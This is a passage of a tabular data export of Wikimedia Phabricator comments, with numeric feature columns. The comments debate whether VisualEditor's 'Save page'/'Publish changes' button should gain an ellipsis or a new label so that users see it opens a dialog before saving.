It's unclear to me at which stage the visual document that a user is editing is converted to wikitext.",,,1353019498,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-o2rqx7ng2feqhiottjsd,task_subcomment,,True,c1,0,False,,,-33,,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,15.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,9.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,6.0,12.0,0.0,0.0,9.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,6.0,15.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,3.0,3.0,3.0,0.0,0.0,0.0,3.4705882352941178,0.8529411764705882,"(In reply to comment #1)
QUOTE
QUOTE

It's unclear to me at which stage the visual document that a user is editing is converted to wikitext."
200682,"VisualEditor: Make MW's core ""edit source"" functionality load in-page","This would be nice, but goes far beyond current functionality of MW core, so marking as low priority.",,,1353018184,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-o2rqx7ng2feqhiottjsd,task_subcomment,,True,c1,0,True,,,-33,,0.0,0.0,0.0,0.0,0.0,14.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,14.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.0,0.9523809523809523,"This would be nice, but goes far beyond current functionality of MW core, so marking as low priority."
44138,"VisualEditor: Toolbar ""Save page"" button is confusing as it merely opens the dialog to save the page","Currently when using the VisualEditor extension, there's a big green button that reads ""Save page"" in the top-right corner of the browsing window.

When a user clicks this button labeled ""Save page"", the page is not saved. Instead, a dialog box appears in which the user is prompted to enter an edit summary. If the user then clicks the ""Save page"" button again (a second time), the page will be saved (maybe).

I believe this is behavior is a little wrong. Historically the behavior of the ""Save page"" button has been to actually attempt to save the page to the database. This new workflow changes that behavior.

Roan suggested perhaps changing ""Save page"" to read ""Save page..."", which would give the user a clue that it's going to be a process, not an immediate action.

There's also no warning within the ""Save page"" dialog box that says that the page has not yet been saved to the database. There's no ""this is only a preview!"" text. Perhaps that's a separate bug, though.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Low,25.0,1352957520,1524049612.0,PHID-USER-hyfm4swq76s4j642w46x,False,PHID-USER-kve2ug5yc3dp6ighnmqk,False,PHID-TASK-abb2jsunmv7mixlbbgye,task_description,resolved,True,c1,0,False,False,False,-33,,0.0,0.0,0.0,1.3333333333333333,1.0,3.6666666666666665,1.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,1.0,0.0,0.0,0.3333333333333333,1.0,0.3333333333333333,0.0,6.666666666666667,5.333333333333333,0.0,1.6666666666666667,0.0,0.0,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,0.0,0.6666666666666666,0.0,7.0,0.3333333333333333,0.3333333333333333,1.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,2.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,14.333333333333334,1.6666666666666667,1.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.0,9.666666666666666,3.3333333333333335,7.666666666666667,1.6666666666666667,0.0,13.333333333333334,0.0,0.0,0.3333333333333333,0.0,2.3333333333333335,0.0,0.0,0.0,0.6666666666666666,5.333333333333333,3.3333333333333335,0.0,5.666666666666667,0.0,0.6666666666666666,0.0,2.0,4.0,0.0,1.3333333333333333,0.0,0.0,0.0,3.684465020576132,0.6223765432098766,"Currently when using the VisualEditor extension, there's a big green button that reads ""Save page"" in the top-right corner of the browsing window.

When a user clicks this button labeled ""Save page"", the page is not saved. Instead, a dialog box appears in which the user is prompted to enter an edit summary. If the user then clicks the ""Save page"" button again (a second time), the page will be saved (maybe).

I believe this is behavior is a little wrong. Historically the behavior of the ""Save page"" button has been to actually attempt to save the page to the database. This new workflow changes that behavior.

Roan suggested perhaps changing ""Save page"" to read ""Save page..."", which would give the user a clue that it's going to be a process, not an immediate action.

There's also no warning within the ""Save page"" dialog box that says that the page has not yet been saved to the database. There's no ""this is only a preview!"" text. Perhaps that's a separate bug, though.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
1052882,"VisualEditor: Toolbar ""Save page"" button is confusing as it merely opens the dialog to save the page",">>! In T44138#3957958, @Pinnerup wrote:
> This issue has been open for 5+ years now. Please take action to differentiate the text on the two buttons so it's possible to distinguish whether pressing them will publish something immediately or not.

If had a pound for every time someone said that, I'd be a rich man.

Tasks come in faster than they can be worked on. The Editing team has only three full time engineers, and we have the responsibility of an entire ecosystem of editing tools across over 800 Wikimedia wikis, and thousands more third-party websites. The consequence is that many, many tasks sit around for years with no action, even though every task is very important to the person that filed it; this is an unfortunate reality of software development.",,,1524050312,,PHID-USER-kve2ug5yc3dp6ighnmqk,False,,,PHID-TASK-abb2jsunmv7mixlbbgye,task_subcomment,,True,c1,3,True,,,250,,3.5,0.5,1.0,0.5,0.0,7.0,3.5,0.0,1.0,0.5,0.5,0.5,0.0,0.5,0.0,1.0,0.0,4.0,11.5,0.5,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.5,0.5,0.0,5.0,0.0,1.0,0.5,0.0,0.0,0.0,1.0,0.0,1.0,0.5,0.0,3.5,0.0,0.0,0.0,1.0,0.0,16.0,1.5,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.5,0.0,1.0,0.0,5.5,4.0,5.5,3.0,1.5,8.5,0.0,0.0,0.0,0.0,1.0,0.0,1.5,0.0,2.5,11.5,1.0,0.0,0.0,0.0,2.5,0.0,1.0,2.5,0.0,0.0,1.5,0.0,0.0,4.0673400673400675,0.8624579124579124,"QUOTE
QUOTE

If had a pound for every time someone said that, I'd be a rich man.

Tasks come in faster than they can be worked on. The Editing team has only three full time engineers, and we have the responsibility of an entire ecosystem of editing tools across over 800 Wikimedia wikis, and thousands more third-party websites. The consequence is that many, many tasks sit around for years with no action, even though every task is very important to the person that filed it; this is an unfortunate reality of software development."
1052880,"VisualEditor: Toolbar ""Save page"" button is confusing as it merely opens the dialog to save the page",">>! In T44138#3957958, @Pinnerup wrote:
> This issue has been open for 5+ years now. Please take action to differentiate the text on the two buttons so it's possible to distinguish whether pressing them will publish something immediately or not.

I had a pound for every time someone said that, I'd be a rich man.

Tasks come in faster than they can be worked on. The Editing team has only three full time engineers, and we have the responsibility of an entire ecosystem of editing tools across over 800 Wikimedia wikis, and thousands more third-party websites. The consequence is that many, many tasks sit around for years with no action, even though every task is very important to the person that filed it; this is an unfortunate reality of software development.",,,1524050081,,PHID-USER-kve2ug5yc3dp6ighnmqk,False,,,PHID-TASK-abb2jsunmv7mixlbbgye,task_subcomment,,True,c1,3,True,,,250,,3.5,0.5,1.0,0.5,0.0,7.0,3.5,0.0,1.0,0.0,0.5,0.5,0.0,0.5,0.0,1.5,0.0,4.0,11.0,0.5,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.5,0.5,0.0,5.0,0.0,1.0,0.5,0.0,0.0,0.0,1.0,0.0,1.0,0.5,0.0,3.5,0.0,0.0,0.0,1.0,0.0,16.0,1.5,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.5,0.0,1.0,0.0,5.5,4.0,5.5,2.5,1.5,8.5,0.0,0.0,0.0,0.0,1.0,0.0,1.5,0.0,3.0,11.0,1.0,0.0,0.0,0.0,3.0,0.0,1.0,2.5,0.0,0.0,1.5,0.0,0.0,4.058249158249158,0.8533670033670033,"QUOTE
QUOTE

I had a pound for every time someone said that, I'd be a rich man.

Tasks come in faster than they can be worked on. The Editing team has only three full time engineers, and we have the responsibility of an entire ecosystem of editing tools across over 800 Wikimedia wikis, and thousands more third-party websites. The consequence is that many, many tasks sit around for years with no action, even though every task is very important to the person that filed it; this is an unfortunate reality of software development."
1052876,"VisualEditor: Toolbar ""Save page"" button is confusing as it merely opens the dialog to save the page","With the completion of T189803, there is now more clarity about what clicking the first ""Publish changes"" button does, so this task is now resolved.",,,1524049612,,PHID-USER-kve2ug5yc3dp6ighnmqk,False,,,PHID-TASK-abb2jsunmv7mixlbbgye,task_subcomment,,True,c1,3,True,,,250,,0.0,0.0,0.0,3.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,10.0,3.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,3.0,0.0,7.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,4.133333333333334,0.8333333333333334,"With the completion of T189803, there is now more clarity about what clicking the first ""Publish changes"" button does, so this task is now resolved."
1009832,"VisualEditor: Toolbar ""Save page"" button is confusing as it merely opens the dialog to save the page","I came here just for this after too often accidentally publishing an incomplete or undescribed edit. It's really frustrating to me as a user that it's not easily possible to see if pressing the ""Publish changes"" button will take me to an intermediate step allowing review and description or if it will publish the changes immediately. 

This issue has been open for 5+ years now. Please take action to differentiate the text on the two buttons so it's possible to distinguish whether pressing them will publish something immediately or not.",,,1518175350,,PHID-USER-vvb5cpvcki2rgdles7sq,False,,,PHID-TASK-abb2jsunmv7mixlbbgye,task_subcomment,,True,c1,3,False,,,240,,0.0,1.0,0.0,0.0,1.5,5.0,1.0,0.0,0.0,1.5,0.5,0.0,0.0,0.0,0.0,1.5,0.5,8.0,11.0,1.0,2.5,0.0,0.0,0.0,0.5,1.0,0.0,0.0,0.0,2.5,0.5,3.0,0.5,3.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,1.0,3.0,2.0,0.0,1.0,0.5,0.0,0.0,8.0,0.0,1.5,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,3.5,4.0,3.5,6.5,0.0,0.0,0.0,0.0,6.0,1.0,3.0,0.0,5.5,11.0,0.0,0.0,1.0,0.0,5.5,0.0,0.0,1.5,2.0,2.5,0.0,0.0,0.0,4.465686274509804,0.8411764705882353,"I came here just for this after too often accidentally publishing an incomplete or undescribed edit. It's really frustrating to me as a user that it's not easily possible to see if pressing the ""Publish changes"" button will take me to an intermediate step allowing review and description or if it will publish the changes immediately. 

This issue has been open for 5+ years now. Please take action to differentiate the text on the two buttons so it's possible to distinguish whether pressing them will publish something immediately or not."
926251,"VisualEditor: Toolbar ""Save page"" button is confusing as it merely opens the dialog to save the page","> for example, we can provide an access to preview as an additional mode in the menu we provide access to ""Visual editing"" and ""Source editing"".

I provided mockups demonstrating something like this in [[#3274084|a previous message]].",,,1504785682,,PHID-USER-2fha2mym5lty6djs2qfl,False,,,PHID-TASK-abb2jsunmv7mixlbbgye,task_subcomment,,True,c1,3,False,,,218,,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,11.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,11.0,4.473684210526316,0.8947368421052632,"QUOTE

I provided mockups demonstrating something like this in [[#3274084|a previous message]]."
925338,"VisualEditor: Toolbar ""Save page"" button is confusing as it merely opens the dialog to save the page",">>! In T44138#3579770, @Jan_Dittrich wrote:
> From observing the users and further corroborated by the comments on Kurier 

Some notes on the different observations:

> 1. Users, particular experienced ones, seem to rely a lot on previewing before they save, so they want to preview //before// they save and create an entry in the history.

This probably means that some users don't see preview as part of the publishing process, but as part of their edit process: edit-> preview -> continue editing...

> 2. In the current UI, the only way to preview is clicking a button that indicates it does something they want to avoid: Saving directly.

Having the option to preview as you publish is fine, but it does not have to be the only entry point we provide for it. Especially if we want to support users that don't see ""preview"" as part of the publishing process. for example, we can provide an access to preview as an additional mode in the menu we provide access to ""Visual editing"" and ""Source editing"". That seems to align better with the idea of supporting preview as another perspective to switch while editing. 

> Thus there is a problem. Adding … does not solve all the problems. But it alleviates point 2: It indicates that clicking ""publish changes"" does //not// do immediately what they want to avoid. 

I don't think that adding ellipsis is going to alleviate the issue of point 2 since the publishing button (with ellipses or other indications) has the main job of announcing the path to publishing, and being it in one or two steps, these users are not interested to go into it yet. Making the ""publish"" action (even slightly) to be less about publishing does not seem the most promising option.

Let's assume that ellipses make more users access the summary panel. Is that solving the issue? I don't think the problem is that those users are not reaching the summary panel, these users probably have already done so (since they are experienced editors), the problem is they don't seem to find it natural to go through the publishing path while their editing process is not over.

I'm ok with experimenting with this if people think it may have potential, but let's make sure it does not impact the regular use of publishing when people actually want to publish.
",,,1504699168,,PHID-USER-c47vnc2yxmwfvvc4367q,False,,,PHID-TASK-abb2jsunmv7mixlbbgye,task_subcomment,,True,c1,3,False,,,218,,0.5,0.0,0.0,0.25,3.0,4.25,1.5,0.0,0.0,0.5,2.0,1.5,0.0,0.5,0.0,1.75,2.5,6.5,12.75,0.0,2.75,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,8.0,2.25,1.75,0.75,0.25,0.75,0.0,0.25,0.0,0.0,1.0,0.0,1.25,0.0,0.5,0.0,0.25,0.5,15.25,0.75,1.5,0.0,0.5,0.0,0.0,0.0,0.25,0.5,0.25,0.5,2.75,0.0,1.0,0.25,0.25,0.0,5.75,3.25,4.5,3.0,1.75,8.25,0.0,0.0,0.0,0.0,7.0,0.0,1.0,0.0,5.5,12.75,0.0,0.25,2.0,0.0,5.5,0.0,0.5,0.5,0.0,2.75,0.75,0.25,0.5,4.02345629510826,0.7148489708634055,"QUOTE
QUOTE

Some notes on the different observations:

QUOTE

This probably means that some users don't see preview as part of the publishing process, but as part of their edit process: edit-> preview -> continue editing...

QUOTE

Having the option to preview as you publish is fine, but it does not have to be the only entry point we provide for it. Especially if we want to support users that don't see ""preview"" as part of the publishing process. for example, we can provide an access to preview as an additional mode in the menu we provide access to ""Visual editing"" and ""Source editing"". That seems to align better with the idea of supporting preview as another perspective to switch while editing. 

QUOTE

I don't think that adding ellipsis is going to alleviate the issue of point 2 since the publishing button (with ellipses or other indications) has the main job of announcing the path to publishing, and being it in one or two steps, these users are not interested to go into it yet. Making the ""publish"" action (even slightly) to be less about publishing does not seem the most promising option.

Let's assume that ellipses make more users access the summary panel. Is that solving the issue? I don't think the problem is that those users are not reaching the summary panel, these users probably have already done so (since they are experienced editors), the problem is they don't seem to find it natural to go through the publishing path while their editing process is not over.

I'm ok with experimenting with this if people think it may have potential, but let's make sure it does not impact the regular use of publishing when people actually want to publish.
"
925316,"VisualEditor: Toolbar ""Save page"" button is confusing as it merely opens the dialog to save the page","I feel like unfortunately we already have enough tasks open about how long translations look ugly and make the interface potentially difficult to use. ""..."" is a good compromise that I really endorse.",,,1504695764,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-abb2jsunmv7mixlbbgye,task_subcomment,,True,c1,3,False,,,218,,0.0,0.0,0.0,0.0,0.0,16.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,14.0,8.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,8.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,5.0,3.0,5.0,3.0,3.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,5.0,0.0,8.0,0.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,4.54054054054054,0.918918918918919,"I feel like unfortunately we already have enough tasks open about how long translations look ugly and make the interface potentially difficult to use. ""..."" is a good compromise that I really endorse."
924564,"VisualEditor: Toolbar ""Save page"" button is confusing as it merely opens the dialog to save the page","@dialmove's suggestion above to rename the button to ""Review and publish"" would also be a simple way to improve things.

The downside is that the space for the button is limited, and the text can already be fairly long in some languages. E.g. in Hungarian ""Publish changes"" is ""Változtatások közzététele""; ""Review and publish"" would be something like ""Változtatások áttekintése és közzététele"".

Maybe just change to ""Review"" and rely on the constructive colors to tell the user that's the next step?",,,1504627839,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-abb2jsunmv7mixlbbgye,task_subcomment,,True,c1,3,False,,,218,,0.5,1.0,0.0,0.0,0.0,5.5,2.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.5,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,1.5,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,1.0,0.0,12.0,0.0,0.5,0.0,1.0,2.0,0.0,0.0,0.0,1.5,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,6.0,4.0,9.0,0.5,3.0,6.5,0.0,0.0,0.0,0.0,6.5,0.0,0.0,0.0,0.0,7.5,5.5,1.0,11.0,0.0,0.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,4.166666666666666,0.7254901960784313,"SCREEN_NAME's suggestion above to rename the button to ""Review and publish"" would also be a simple way to improve things.

The downside is that the space for the button is limited, and the text can already be fairly long in some languages. E.g. in Hungarian ""Publish changes"" is ""Változtatások közzététele""; ""Review and publish"" would be something like ""Változtatások áttekintése és közzététele"".

Maybe just change to ""Review"" and rely on the constructive colors to tell the user that's the next step?"
924402,"VisualEditor: Toolbar ""Save page"" button is confusing as it merely opens the dialog to save the page","> I'd like to understand better the specific issues that the uncertainty about ""whether 
> the save button saves immediately"" generates. 

From observing the users and further corroborated by the comments on Kurier 

1. Users, particular experienced ones, seem to rely a lot on previewing before they save, so they want to preview //before// they save and create an entry in the history.
2. In the current UI, the only way to preview is clicking a button that indicates it does something they want to avoid: Saving directly.

Thus there is a problem. Adding … does not solve all the problems. But it alleviates point 2: It indicates that clicking ""publish changes"" does //not// do immediately what they want to avoid. ",,,1504615255,,PHID-USER-3qggseejscb6dtiy4uyx,False,,,PHID-TASK-abb2jsunmv7mixlbbgye,task_subcomment,,True,c1,3,False,,,218,,1.0,1.0,0.0,0.0,1.0,2.5,0.0,0.0,0.0,0.0,2.5,0.0,0.0,1.0,1.0,0.0,0.5,4.5,8.0,1.0,3.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,10.0,2.0,2.5,1.5,0.0,0.5,0.0,0.0,0.0,0.0,3.0,1.0,0.5,0.0,0.0,0.0,1.0,0.0,9.5,1.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,1.0,1.5,1.0,0.0,1.5,0.0,1.0,0.0,6.0,1.5,7.5,1.0,2.0,7.0,0.0,0.0,0.0,0.0,5.5,0.5,1.5,0.0,5.5,8.0,2.0,0.0,1.5,0.0,5.5,0.0,1.5,2.5,0.0,4.5,0.0,0.0,0.5,4.049180327868853,0.7049180327868853,"QUOTE
QUOTE

From observing the users and further corroborated by the comments on Kurier 

1. Users, particular experienced ones, seem to rely a lot on previewing before they save, so they want to preview //before// they save and create an entry in the history.
2. In the current UI, the only way to preview is clicking a button that indicates it does something they want to avoid: Saving directly.

Thus there is a problem. Adding … does not solve all the problems. But it alleviates point 2: It indicates that clicking ""publish changes"" does //not// do immediately what they want to avoid. "
924293,"VisualEditor: Toolbar ""Save page"" button is confusing as it merely opens the dialog to save the page",">>! In T44138#3578131, @Jan_Dittrich wrote:
> Who is the one to decide about this?

Me. I'm watching this task. :-)

This is far from the most pressing item on the agenda, but I do agree with the statement of the problem. I like the ellipsis idea; it's not perfect, but it's easy to implement, is at least step in the right direction, and can easily be iterated on. I think more discussion about other solutions would be good.",,,1504606283,,PHID-USER-kve2ug5yc3dp6ighnmqk,False,,,PHID-TASK-abb2jsunmv7mixlbbgye,task_subcomment,,True,c1,3,True,,,218,,0.0,0.0,0.0,1.0,1.0,10.0,4.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,6.0,0.0,5.0,11.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,1.0,0.0,10.0,1.0,2.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,0.0,0.0,10.0,1.0,1.0,0.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,7.0,5.0,10.0,0.0,4.0,10.0,0.0,1.0,0.0,0.0,6.0,0.0,0.0,0.0,9.0,11.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,1.0,1.0,1.0,2.0,0.0,3.573170731707317,0.7195121951219512,"QUOTE
QUOTE

Me. I'm watching this task. :-)

This is far from the most pressing item on the agenda, but I do agree with the statement of the problem. I like the ellipsis idea; it's not perfect, but it's easy to implement, is at least step in the right direction, and can easily be iterated on. I think more discussion about other solutions would be good."
924257,"VisualEditor: Toolbar ""Save page"" button is confusing as it merely opens the dialog to save the page",">>! In T44138#3578131, @Jan_Dittrich wrote: 
> @Pginer-WMF – what do you think? And: Who is the one to decide about this?

I'm not convinced this would improve much. I'm ok with experimenting, but given the importance of the publishing workflow I'd like to have a clear hypothesis of what we expect and how to observe the impact of the change. More details below:

**On the need to communicate additional steps**

Ellipses may help to emphasise that the publishing process have multiple steps. The key question is whether we need to anticipate such information. There are many processes that require some kind of confirmation/follow-up step that users see as a logical progress to completion, and do not cause any kind of confusion or surprise despite those extra steps not being anticipated. For example, I don't think that adding ellipses to all actions that open any kind of panel such as ""add link"" or ""insert image"" would improve things much.

I'd like to understand better the specific issues that the uncertainty about ""whether the save button saves immediately"" generates. What do we expect users to do differently if they know there are more step behind the button?

The ellipses make also the call to action less strong. In addition, ellipses in buttons have been also used to communicate an action being performed (e.g., a ""Save"" button turning into ""Saving..."" after being pressed), so there is a risk of confusion for users thinking some publishing action may be going on that we may want to check.

**Connection with ""preview"" issue**
If the proposal is intended to improve the issue with preview (T155732), which some comments in this ticket still refer to, I don't think it will help much.

My understanding of the preview issue is that some users don't see ""preview"" necessarily as an intermediary step in their way to publishing. That is, some users understand preview as away to check that their recent editing actions produce the expected result before continue their editing session. Since they are not completing their editing session, it is not obvious that preview will be behind the ""publish"" path. We are supporting well the scenario of ""preview in your way to publish"" but we may not be doing so well with the ""preview as you edit"". 

Ellipsis help to emphasise that the publishing process has multiple steps. However, is surfacing that the publishing process has multiple steps going to solve the above issue? I don't think so. Since users in that context are not interested yet to go into the publishing path, they are unlikely to explore that way to check if they find functionality that they don't consider connected to it, being it ""preview"" or ""print"".
",,,1504603185,,PHID-USER-c47vnc2yxmwfvvc4367q,False,,,PHID-TASK-abb2jsunmv7mixlbbgye,task_subcomment,,True,c1,3,False,,,218,,2.0,0.0,0.0,0.8333333333333334,2.0,4.833333333333333,1.0,0.0,0.0,0.5,2.1666666666666665,1.5,0.0,0.0,0.5,2.3333333333333335,1.8333333333333333,5.0,13.166666666666666,0.0,3.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.8333333333333334,0.6666666666666666,1.0,0.6666666666666666,6.666666666666667,3.6666666666666665,0.6666666666666666,0.5,0.3333333333333333,0.0,0.16666666666666666,1.1666666666666667,0.3333333333333333,0.0,1.5,0.16666666666666666,2.8333333333333335,0.0,0.16666666666666666,0.5,0.3333333333333333,0.16666666666666666,13.5,0.3333333333333333,1.8333333333333333,0.16666666666666666,0.3333333333333333,0.5,0.0,0.16666666666666666,0.16666666666666666,0.3333333333333333,0.16666666666666666,0.3333333333333333,1.6666666666666667,0.0,0.5,0.16666666666666666,0.3333333333333333,0.0,5.166666666666667,3.5,5.166666666666667,3.3333333333333335,1.3333333333333333,7.666666666666667,0.0,0.0,0.0,0.0,6.166666666666667,0.16666666666666666,0.0,0.0,5.0,13.166666666666666,0.8333333333333334,0.3333333333333333,4.166666666666667,0.0,5.0,0.0,1.1666666666666667,1.0,0.0,1.8333333333333333,0.6666666666666666,0.0,0.0,4.104536746778127,0.6854754440961338,"QUOTE
QUOTE

I'm not convinced this would improve much. I'm ok with experimenting, but given the importance of the publishing workflow I'd like to have a clear hypothesis of what we expect and how to observe the impact of the change. More details below:

**On the need to communicate additional steps**

Ellipses may help to emphasise that the publishing process have multiple steps. The key question is whether we need to anticipate such information. There are many processes that require some kind of confirmation/follow-up step that users see as a logical progress to completion, and do not cause any kind of confusion or surprise despite those extra steps not being anticipated. For example, I don't think that adding ellipses to all actions that open any kind of panel such as ""add link"" or ""insert image"" would improve things much.

I'd like to understand better the specific issues that the uncertainty about ""whether the save button saves immediately"" generates. What do we expect users to do differently if they know there are more step behind the button?

The ellipses make also the call to action less strong. In addition, ellipses in buttons have been also used to communicate an action being performed (e.g., a ""Save"" button turning into ""Saving..."" after being pressed), so there is a risk of confusion for users thinking some publishing action may be going on that we may want to check.

**Connection with ""preview"" issue**
If the proposal is intended to improve the issue with preview (T155732), which some comments in this ticket still refer to, I don't think it will help much.

My understanding of the preview issue is that some users don't see ""preview"" necessarily as an intermediary step in their way to publishing. That is, some users understand preview as away to check that their recent editing actions produce the expected result before continue their editing session. Since they are not completing their editing session, it is not obvious that preview will be behind the ""publish"" path. We are supporting well the scenario of ""preview in your way to publish"" but we may not be doing so well with the ""preview as you edit"". 

Ellipsis help to emphasise that the publishing process has multiple steps. However, is surfacing that the publishing process has multiple steps going to solve the above issue? I don't think so. Since users in that context are not interested yet to go into the publishing path, they are unlikely to explore that way to check if they find functionality that they don't consider connected to it, being it ""preview"" or ""print"".
"
924059,"VisualEditor: Toolbar ""Save page"" button is confusing as it merely opens the dialog to save the page","You may consider my feedback withdrawn. I didn't make the connection with the operating system conventions. I have indeed used many applications that use ellipsis in context menus or top menus for items to indicate they won't be performed immediately but will require an additional interaction first (e.g. new dialog, or next panel if already in a dialog).

Before I realised this connection, my main concern was that adding ellipsis would not solve the original problem, which is that users may be uncomfortable clicking this button because they may want to do a comparison first or enter an edit summary, and the current appearance of the button suggests it will be immediate. Adding ellipsis does make sense for this and might a good first step toward solving this problem.",,,1504553449,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-abb2jsunmv7mixlbbgye,task_subcomment,,True,c1,3,True,,,218,,0.5,0.0,0.0,0.5,1.5,7.5,3.0,0.5,0.0,0.5,1.5,1.0,0.0,0.0,0.0,2.5,0.0,5.0,8.5,0.0,1.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,2.5,2.0,0.0,3.0,2.0,0.5,2.0,0.5,0.0,0.5,0.0,1.0,0.0,1.0,0.5,2.5,0.0,1.5,0.0,0.5,0.0,15.5,1.5,2.5,0.5,0.5,0.0,0.0,0.0,0.5,0.5,0.0,0.5,2.0,0.0,2.5,0.0,0.5,0.0,6.0,3.5,3.0,2.5,3.5,9.5,0.0,0.0,0.0,0.0,7.5,0.0,0.0,0.0,5.0,8.5,0.0,0.0,0.0,0.0,5.0,0.0,1.0,3.0,0.0,3.0,0.0,0.0,0.0,4.538145539906103,0.8109350547730829,"You may consider my feedback withdrawn. I didn't make the connection with the operating system conventions. I have indeed used many applications that use ellipsis in context menus or top menus for items to indicate they won't be performed immediately but will require an additional interaction first (e.g. new dialog, or next panel if already in a dialog).

Before I realised this connection, my main concern was that adding ellipsis would not solve the original problem, which is that users may be uncomfortable clicking this button because they may want to do a comparison first or enter an edit summary, and the current appearance of the button suggests it will be immediate. Adding ellipsis does make sense for this and might a good first step toward solving this problem."
924000,"VisualEditor: Toolbar ""Save page"" button is confusing as it merely opens the dialog to save the page","It seems that 
* An ellipsis is standard in many UI guidelines, including Mac and Windows (as @Tgr wrote). It is an UI standard at least since the 90s and basically the icon for ""a window will open"".
